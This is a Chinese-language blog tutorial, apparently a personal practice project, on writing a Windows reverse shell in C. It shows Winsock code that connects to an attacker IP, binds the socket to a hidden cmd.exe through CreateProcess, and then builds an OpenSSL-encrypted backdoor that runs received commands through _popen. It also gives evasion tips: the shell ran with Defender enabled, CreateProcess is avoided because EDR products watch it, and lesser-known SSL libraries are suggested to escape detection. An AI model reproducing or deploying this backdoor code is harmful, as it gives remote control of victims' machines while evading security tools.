最近發現了一些有趣的專案來玩玩
主要是想 從0 從別人的教學文學習怎麼寫一個 windows reverse shell
也方便給自己日後更改
首先參考 MSDN的網站所說,我們先創一個簡單的 init socket exameple code
1 |
|
initial win socket
MSDN1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main() {
int iResult;
WSADATA wsaData;
WORD wVersionRequested;
int err;
SOCKET wsocket;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed: %d\n", iResult);
return 1;
}
/* Use the MAKEWORD(lowbyte, highbyte) macro declared in Windef.h */
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) {
/* Tell the user that we could not find a usable */
/* Winsock DLL. */
printf("WSAStartup failed with error: %d\n", err);
return 1;
}
return 0;
}設定一個連線並建立一個連線
MSDN1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28// Create a SOCKET for connecting to server
SOCKET ConnectSocket;
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
//----------------------
// The sockaddr_in structure specifies the address family,
// IP address, and port of the server to be connected to.
sockaddr_in clientService;
clientService.sin_family = AF_INET;
inet_pton(clientService.sin_family, "127.0.0.1", &clientService.sin_addr);
clientService.sin_port = htons(3000);
//----------------------
// Connect to server.
iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
if (iResult == SOCKET_ERROR) {
wprintf(L"connect function failed with error: %ld\n", WSAGetLastError());
iResult = closesocket(ConnectSocket);
if (iResult == SOCKET_ERROR)
wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
wprintf(L"Connected to server.\n");原本官方的 example 是用
clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
,但在我新版的 VS 上面跑會出現錯誤 (error C4996),經過搜尋後得知inet_addr
算是一個過舊的用法,網路上有提供數種解決方法,包括在stdafx.h
加上#define _WINSOCK_DEPRECATED_NO_WARNINGS 0
用以關閉錯誤訊息,這邊我選擇用 VS 推薦的用法,也就是以inet_pton
取代inet_addr
※如果出現 Cannot open include file : 'stdafx.h' : No such file or directory
,可以試著將 stdafx.h
更改為 pch.h
看看,在新版 visual studio 的 Precompiled Header 是 pch.h
相關來源:
https://stackoverflow.com/questions/5328070/how-to-convert-string-to-ip-address-and-vice-versa
https://blog.csdn.net/alzzw/article/details/99706060
到這邊就可以做連線測試了
到了這邊,基本上應該可以開始著手 reverse shell 的構建了
然而,又被我找到這篇
why-is-wsaconnect-working-and-connect-not
從上文可以得知 socket
無法用於建立 reverse shell,因此是必須把 socket
更改成 WSASocket
,然後想著既然都改了 socket,那是不是連 connect
都改成對應的 WSAConnect
比較保險
What is the difference between connect() and WSAConnect() ?
其實根據上面的文章看起來用 connect 也可以,而事後證明也確實如此
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31// Create a SOCKET for connecting to server
SOCKET ConnectSocket;
ConnectSocket = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (ConnectSocket == INVALID_SOCKET) {
wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
//----------------------
// The sockaddr_in structure specifies the address family,
// IP address, and port of the server to be connected to.
sockaddr_in clientService;
clientService.sin_family = AF_INET;
inet_pton(clientService.sin_family, "172.30.150.167", &clientService.sin_addr);
clientService.sin_port = htons(3000);
//----------------------
// Connect to server.
wsocket = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
if (wsocket == SOCKET_ERROR) {
wprintf(L"connect function failed with error: %ld\n", WSAGetLastError());
wsocket = closesocket(ConnectSocket);
if (wsocket == SOCKET_ERROR)
wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
// For WSAConnect use
//WSAConnect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService), NULL, NULL, NULL, NULL);
- CreateProcess
首先定義一個 STARTUPINFO
型別的架構用給 CreateProcess
用的
MSDN
然後記得 dwFlags
一定要設定成 STARTF_USESTDHANDLES
不然 Stream IO 會跑到 spawn 程式的 cmd
把 STARTF_USESTDHANDLES
設好後就可以指定 process 的 IO handler1
2
3
4
5
6
7STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES|SW_HIDE;
si.hStdInput = (HANDLE)ConnectSocket;
si.hStdOutput = (HANDLE)ConnectSocket;
si.hStdError = (HANDLE)ConnectSocket;
最後就是 CreateProcess
MSDN
注意這邊第二個參數不能直接給字串,照著 MSDN 上的說明他是吃 LPSTR
的型別
所以找了下 stackoverflow 得到的解法1
2char cmd[] = "cmd.exe";
LPSTR cmdline = const_cast<LPSTR>(cmd);
除此之外還要多設定 Multi-Byte Character Set
然後 CreateProcess 的第 5 個參數要設成 TRUE
,也就是 Set handle inheritance to TRUE
,不然一樣會失敗
https://stackoverflow.com/questions/2040768/what-does-it-mean-a-child-process-can-inherit-the-handle
最後還要定義一個 PROCESS_INFORMATION
來定義整個 process information
source code 放在下面
1 |
|
直接在 defender 開啟的情況下做到 reverse shell 還是有點小小的興奮
感想來說…比較多還是看 MSDN 上面操作跟遇到問題後的查找,不得不說微軟除了做到工程師 friendly 之外也做到了駭客 friendly XDD,這個只是初版,有機會可以再做進階版
該 source code 同步放到我的 github 上
https://github.com/sda06407/windows-reverse-shell-practise
update with openssl
之前寫的 reverse shell 存在一個小問題,就是它是透過 TCP 進行連線的,中間走的都是明文
於是又有了改良款─基於 openssl 加密的 reverse shell
openssl 可以選擇用 visual studio 自己 compile,或是拿別人 pre-conpile 好的包來用
這邊因為是自用加上懶,直接找一個 預先編譯好的版本來用
這邊說明該如何將 openssl 匯入到 visual studio
C/C++ -> General
linker -> General
linker -> input -> edit
加上以下四個 DLL
- ws2_32.lib
- libssl.lib
- Crypt32.lib
- libcrypto.lib
前置作業做完之後,再來就是構建 SSL 交握了
利用上面的 client 程式碼,連線到 server (attacker) 端的 openssl
可以構造出一個簡單的文字互傳功能,只是要稍微改成 windows 能跑的 code
舉個簡單例子,bzero
其實在 windows 並沒有這個 function,要馬改成 ZeroMemory
或是改成 memset
或是先行 define 的方式 #define bzero(b,len) (memset((b), '\0', (len)), (void) 0)
都可以達到一樣的效果
我這邊是除了的來以外,還搭配這個 和 MSDN
下去做修改得到
1 |
|
效果圖(記得改 ip):
做到這邊其實已經完成八成了,再來下一步是什麼呢?
這邊我之前一直想要嘗試的就是跟上一段基於 TCP 的 reverse shell 一樣,把 socket 的 IO 導到 CreateProcess
做交互,但這一步失敗了,所以後來的想法就是透過單純的文字傳送,當後門接到文字的輸入後將文字傳遞給 cmd 執行,再將結果以文字方式回傳給攻擊者,既然是單純執行 command 的話,CreateProcess
就顯得沒那麼必要了,一來他本身好像就是一些 EDR 的重點關注對象,二來 CreateProcess
可調整的部分太多了,我要的功能其實很單純,要一個一個定義好把它餵給 CreateProcess
有點麻煩,所以後來就開始找有沒有其他 function 可以做到執行 command 的行為,system
因為只會回傳 int 並不會將 command 執行結果進行回傳所以不考慮,總之後來找到了 popen,不過 windows 裡面要叫 _popen
1 | const char* execute(char* cmdline) { |
但後來發現這個只會輸出一行,經人提點後才想起 fgets 會將換行符號當成是結束符號,老實說就連 msdn 的 example code 也是教用 while 去讀 pipe 裡面的資料,所以改了一下就長這樣
1 | const char* execute(SSL* ssl, char* cmdline) { |
endchar
主要是因為 _popen
只會回傳 stdout,並不會回傳 stderr,所以加一個 2>&1
在後面可以有效解決這個問題,
至於 while 裡面的 SSL_write
就是因為如果不馬上把它輸出的話,在下一次的迴圈 buffer 內的舊資料就會被新資料蓋掉了,不然就是我還要再定義一個動態陣列去存 command 執行的全部結果….我選擇死亡
1 |
|
成果:
然後實測了一下,如果要放到陌生環境去跑的話一共會需要這幾個 dll
- libcrypto-1_1-x64.dll
- libssl-1_1-x64.dll
- ucrtbased.dll
- vcruntime140_1d.dll
- vcruntime140d.dll
然後如果覺得 openssl 太有名怕被針對的話,可以考慮一些分支的 ssl 像是 google 的 boringSSL 或是 libreSSL,其中 boringSSL 弄起來超麻煩,而 libreSSL 完全不知道要怎麼用…